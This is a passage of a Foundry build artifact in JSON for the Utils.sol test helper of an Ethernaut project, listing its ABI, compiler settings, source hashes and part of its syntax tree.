l","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/utils/Utils.sol":"Utils"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/utils/Utils.sol","id":66674,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"ProxyStats":[58028],"Statistics":[56450],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"Utils":[66673],"Vm":[15673],"VmSafe":[15098],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2813:154","nodes":[{"id":66341,"nodeType":"PragmaDirective","src":"32:23:154","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":66342,"nodeType":"ImportDirective","src":"57:28:154","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":66674,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":66343,"nodeType":"ImportDirective","src":"86:31:154","nodes":[],"absolutePath":"lib/forge-std/src/StdJson.sol","file":"forge-std/StdJson.sol","nameLocation":"-1:-1:-1","scope":66674,"sourceUnit":7248,"symbolAliases":[],"unitAlias":""},{"id":66345,"nodeType":"ImportDirective","src":"119:44:154","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":66674,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":66344,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"127:9:154","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":66347,"nodeType":"ImportDirective","src":"164:54:154","nodes":[],"absolutePath":"src/metrics/Statistics.sol","file":"src/metrics/Statistics.sol","nameLocation":"-1:-1:-1","scope":66674,"sourceUnit":56451,"symbolAliases":[{"foreign":{"id":66346,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"172:10:154","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":66349,"nodeType":"ImportDirective","src":"219:52:154","nodes":[],"absolutePath":"src/proxy/ProxyStats.sol","file":"src/proxy/ProxyStats.sol","nameLocation":"-1:-1:-1","scope":66674,"sourceUnit":58029,"symbolAliases":[{"foreign":{"id":66348,"name":"ProxyStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58028,"src":"227:10:154","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":66351,"nodeType":"ImportDirective","src":"272:48:154","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":66674,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":66350,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"280:5:154","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":66673,"nodeType":"ContractDefinition","src":"322:2522:154","nodes":[{"id":66356,"nodeType":"UsingForDirective","src":"351:25:154","nodes":[],"global":false,"libraryName":{"id":66354,"name":"stdJson","nameLocations":["357:7:154"],"nodeType":"IdentifierPath","referencedDeclaration":7247,"src":"357:7:154"},"typeName":{"id":66355,"name":"string","nodeType":"ElementaryTypeName","src":"369:6:154","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}}},{"id":66364,"nodeType":"VariableDeclaration","src":"382:71:154","nodes":[],"constant":false,"mutability":"mutable","name":"nextUser","nameLocation":"399:8:154","scope":66673,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":66357,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382:7:154","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"arguments":[{"arguments":[{"hexValue":"757365722061646472657373","id":66361,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"437:14:154","typeDescriptions":{"typeIdentifier":"t_stringliteral_fadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7","typeString":"literal_string \"user address\""},"value":"user address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7","typeString":"literal_string \"user address\""}],"expression":{"id":66359,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"420:3:154","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":66360,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"424:12:154","memberName":"encodePacked","nodeType":"MemberAccess","src":"420:16:154","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":66362,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"420:32:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":66358,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"410:9:154","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":66363,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"410:43:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"id":66397,"nodeType":"FunctionDefinition","src":"460:228:154","nodes":[],"body":{"id":66396,"nodeType":"Block","src":"525:163:154","nodes":[],"statements":[{"assignments":[66370],"declarations":[{"constant":false,"id":66370,"mutability":"mutable","name":"user","nameLocation":"551:4:154","nodeType":"VariableDeclaration","scope":66396,"src":"535:20:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":66369,"name":"address","nodeType":"ElementaryTypeName","src":"535:15:154","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"id":66384,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":66379,"name":"nextUser","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66364,"src":"590:8:154","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":66378,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"582:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":66377,"name":"uint256","nodeType":"ElementaryTypeName","src":"582:7:154","typeDescriptions":{}}},"id":66380,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"582:17:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":66376,"isConstant":false,"isLValue":false,"isPure":true,"lValueRe